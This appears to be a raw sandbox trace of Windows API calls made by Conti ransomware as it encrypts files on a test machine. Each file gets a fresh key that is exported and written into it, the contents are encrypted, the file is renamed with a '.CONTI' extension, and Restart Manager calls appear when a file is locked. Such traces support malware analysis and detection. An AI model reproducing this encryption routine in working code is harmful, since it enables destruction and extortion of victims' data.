	[0116.707] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.708] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.708] WriteFile (in: hFile=0x388, lpBuffer=0x6b4f054*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x6b4f054*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0116.709] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.709] ReadFile (in: hFile=0x388, lpBuffer=0xd540000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x500000, lpOverlapped=0x0) returned 1
	[0120.186] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x500000, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x500000) returned 1
	[0121.731] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.731] WriteFile (in: hFile=0x388, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x500000, lpOverlapped=0x0) returned 1
	[0123.377] ReadFile (in: hFile=0x388, lpBuffer=0xd540000, nNumberOfBytesToRead=0x29000, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x29000, lpOverlapped=0x0) returned 1
	[0123.386] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x29000, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x29010) returned 1
	[0123.386] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.386] WriteFile (in: hFile=0x388, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x29010, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x29010, lpOverlapped=0x0) returned 1
	[0123.386] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.387] WriteFile (in: hFile=0x388, lpBuffer=0x6b4f048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x6b4f048*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0123.387] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.387] CloseHandle (hObject=0x388) returned 1
	[0123.387] GetProcessHeap () returned 0x1720000
	[0123.387] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0123.595] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C"
	[0123.595] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C.CONTI"
	[0123.595] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7c"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7c.conti")) returned 1
	[0123.630] GetProcessHeap () returned 0x1720000
	[0123.630] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0123.630] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0123.630] GetProcessHeap () returned 0x1720000
	[0123.630] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ca48 | out: hHeap=0x1720000) returned 1
	[0123.630] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0123.630] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6b53278 | out: phKey=0x6b53278*=0x6b7f278) returned 1
	[0123.630] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5327c, pdwDataLen=0x4abfcac | out: pbData=0x6b5327c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0123.631] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.003.etl")) returned 0x2020
	[0123.632] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.003.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0123.632] GetLastError () returned 0x0
	[0123.632] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=8192) returned 1
	[0123.632] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0123.632] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.632] SetEndOfFile (hFile=0x418) returned 1
	[0123.632] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.632] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.632] WriteFile (in: hFile=0x418, lpBuffer=0x6b5327c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x6b5327c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0125.099] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.099] ReadFile (in: hFile=0x418, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2000, lpOverlapped=0x0) returned 1
	[0125.100] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2000, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2010) returned 1
	[0125.100] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.100] WriteFile (in: hFile=0x418, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2010, lpOverlapped=0x0) returned 1
	[0129.225] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.225] WriteFile (in: hFile=0x418, lpBuffer=0x6b53270*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x6b53270*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0129.225] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.225] CloseHandle (hObject=0x418) returned 1
	[0129.557] GetProcessHeap () returned 0x1720000
	[0129.557] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fd428
	[0129.557] lstrcpyW (in: lpString1=0x17fd428, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl"
	[0129.557] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.CONTI"
	[0129.557] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.003.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.003.etl.conti")) returned 1
	[0129.586] GetProcessHeap () returned 0x1720000
	[0129.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fd428 | out: hHeap=0x1720000) returned 1
	[0129.587] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0129.587] GetProcessHeap () returned 0x1720000
	[0129.587] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8ec0 | out: hHeap=0x1720000) returned 1
	[0129.587] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0130.181] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6b53708 | out: phKey=0x6b53708*=0x17c8170) returned 1
	[0130.181] CryptExportKey (in: hKey=0x17c8170, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5370c, pdwDataLen=0x4abfcac | out: pbData=0x6b5370c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0130.182] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico")) returned 0x20
	[0130.182] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.182] GetLastError () returned 0x5
	[0130.182] CryptDestroyKey (hKey=0x17c8170) returned 1
	[0130.182] GetProcessHeap () returned 0x1720000
	[0130.183] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c100 | out: hHeap=0x1720000) returned 1
	[0130.183] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0134.000] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6b46e48 | out: phKey=0x6b46e48*=0x17c7ef0) returned 1
	[0134.000] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46e4c, pdwDataLen=0x4abfcac | out: pbData=0x6b46e4c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0134.001] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db")) returned 0x20
	[0134.001] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.001] GetLastError () returned 0x5
	[0134.001] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0134.001] GetProcessHeap () returned 0x1720000
	[0134.001] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fb10 | out: hHeap=0x1720000) returned 1
	[0134.001] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0134.710] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6b47e40 | out: phKey=0x6b47e40*=0x17c84f0) returned 1
	[0134.710] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47e44, pdwDataLen=0x4abfcac | out: pbData=0x6b47e44*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0135.379] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\users\\all users\\microsoft\\windows security health\\logs\\shs-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2000
	[0135.379] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\users\\all users\\microsoft\\windows security health\\logs\\shs-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.379] GetLastError () returned 0x20
	[0135.379] RmStartSession () returned 0x0
	[0135.384] RmRegisterResources () returned 0x0
	[0135.401] RmGetList () returned 0xea
	[0138.738] RmShutdown () returned 0x15e
	[0146.519] RmEndSession () returned 0x0
	[0146.524] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0146.524] GetProcessHeap () returned 0x1720000
	[0146.524] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e4880 | out: hHeap=0x1720000) returned 1
	[0146.524] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0146.524] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65cfe58 | out: phKey=0x65cfe58*=0x17de4d0) returned 1
	[0146.524] CryptExportKey (in: hKey=0x17de4d0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cfe5c, pdwDataLen=0x4abfcac | out: pbData=0x65cfe5c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0146.525] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\RU-3_RFD.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\ru-3_rfd.flv")) returned 0x20
	[0146.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\RU-3_RFD.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\ru-3_rfd.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0146.526] GetLastError () returned 0x0
	[0146.526] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=7497) returned 1
	[0146.526] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d49
	[0146.526] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.526] SetEndOfFile (hFile=0x2ec) returned 1
	[0146.526] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.526] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.527] WriteFile (in: hFile=0x2ec, lpBuffer=0x65cfe5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65cfe5c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0146.529] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.529] ReadFile (in: hFile=0x2ec, lpBuffer=0xd540000, nNumberOfBytesToRead=0x1d49, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x1d49, lpOverlapped=0x0) returned 1
	[0146.529] CryptEncrypt (in: hKey=0x17de4d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1d49, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1d50) returned 1
	[0146.529] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.529] WriteFile (in: hFile=0x2ec, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x1d50, lpOverlapped=0x0) returned 1
	[0146.529] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.529] WriteFile (in: hFile=0x2ec, lpBuffer=0x65cfe50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65cfe50*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0146.529] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.530] CloseHandle (hObject=0x2ec) returned 1
	[0146.530] GetProcessHeap () returned 0x1720000
	[0146.530] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.530] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\RU-3_RFD.flv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\RU-3_RFD.flv") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\RU-3_RFD.flv"
	[0146.530] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\RU-3_RFD.flv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\RU-3_RFD.flv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\RU-3_RFD.flv.CONTI"
	[0146.530] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\RU-3_RFD.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\ru-3_rfd.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\RU-3_RFD.flv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\ru-3_rfd.flv.conti")) returned 1
	[0146.531] GetProcessHeap () returned 0x1720000
	[0146.531] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.531] CryptDestroyKey (hKey=0x17de4d0) returned 1
	[0146.531] GetProcessHeap () returned 0x1720000
	[0146.531] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c56b0 | out: hHeap=0x1720000) returned 1
	[0146.531] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0146.531] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65ce788 | out: phKey=0x65ce788*=0x17de990) returned 1
	[0146.531] CryptExportKey (in: hKey=0x17de990, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65ce78c, pdwDataLen=0x4abfcac | out: pbData=0x65ce78c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0146.532] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\v9JwPgSBj.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\v9jwpgsbj.mkv")) returned 0x20
	[0146.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\v9JwPgSBj.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\v9jwpgsbj.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0146.532] GetLastError () returned 0x0
	[0146.532] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=39000) returned 1
	[0146.532] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9858
	[0146.532] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.532] SetEndOfFile (hFile=0x2ec) returned 1
	[0146.532] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.532] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.532] WriteFile (in: hFile=0x2ec, lpBuffer=0x65ce78c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65ce78c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0146.538] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.538] ReadFile (in: hFile=0x2ec, lpBuffer=0xd540000, nNumberOfBytesToRead=0x9858, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x9858, lpOverlapped=0x0) returned 1
	[0146.539] CryptEncrypt (in: hKey=0x17de990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x9858, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x9860) returned 1
	[0146.540] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.540] WriteFile (in: hFile=0x2ec, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x9860, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x9860, lpOverlapped=0x0) returned 1
	[0146.540] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.540] WriteFile (in: hFile=0x2ec, lpBuffer=0x65ce780*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65ce780*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
